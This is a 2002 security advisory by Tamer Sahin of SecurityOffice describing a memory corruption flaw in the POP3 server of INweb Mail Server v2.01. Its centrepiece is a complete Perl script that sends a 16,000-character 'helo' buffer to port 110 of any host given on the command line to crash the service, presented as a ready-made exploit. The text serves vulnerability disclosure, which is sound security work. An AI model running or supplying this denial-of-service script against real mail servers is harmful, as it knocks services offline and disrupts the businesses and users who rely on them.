Type

Denial of Service

Release Date

November 12, 2002

Product / Vendor

The INweb Mail Server is a standard Internet POP3 and SMTP mail server that runs flawlessly under Windows 2000 and NT and other windows platforms. The INweb Mail Server provides numerous unique features for both small and large businesses as well as ISP's. This includes many facilities to handle spam and viruses.

http://www.inwebmail.com

Summary

Memory corruption vulnerability exists in INweb Mail Server v2.01. The POP3 server included with INweb Mail Server does not properly handle some types of requests. By submitting a maliciously crafted request to the POP3 server, an attacker could crash the system, resulting in a denial of service.

Exploit

An exploit for this vulnerability exists and is available below.

==================== SNIP ====================

#!/usr/bin/perl -w

use IO::Socket;

$host = $ARGV[0];
$port = "110";
$evil = "A" x 16000;

print "INweb Mail Server v2.01 Denial of Service Vulnerability by SecurityOffice\n";
print "Usage: $0 host\n";
print "Connecting...\n";
$socket = IO::Socket::INET->
new(Proto=>"tcp",
PeerAddr=>$host,
PeerPort=>$port)
|| die "Connection failed.\n";

print "Attacking...\n";
print $socket "helo:$evil\n\n";

close($socket);
print "\nConnection closed. Finished.\n\n";

==================== SNIP ====================

Tested

INweb Mail Server v2.01 / Windows 2000 sp3

Vulnerable

INweb Mail Server v2.01 / Windows 2000 sp3

Disclaimer

http://www.securityoffice.net is not responsible for the misuse or illegal use of any of the information and/or the software listed on this security advisory.

Author

Tamer Sahin
ts(at)securityoffice.net
http://www.securityoffice.net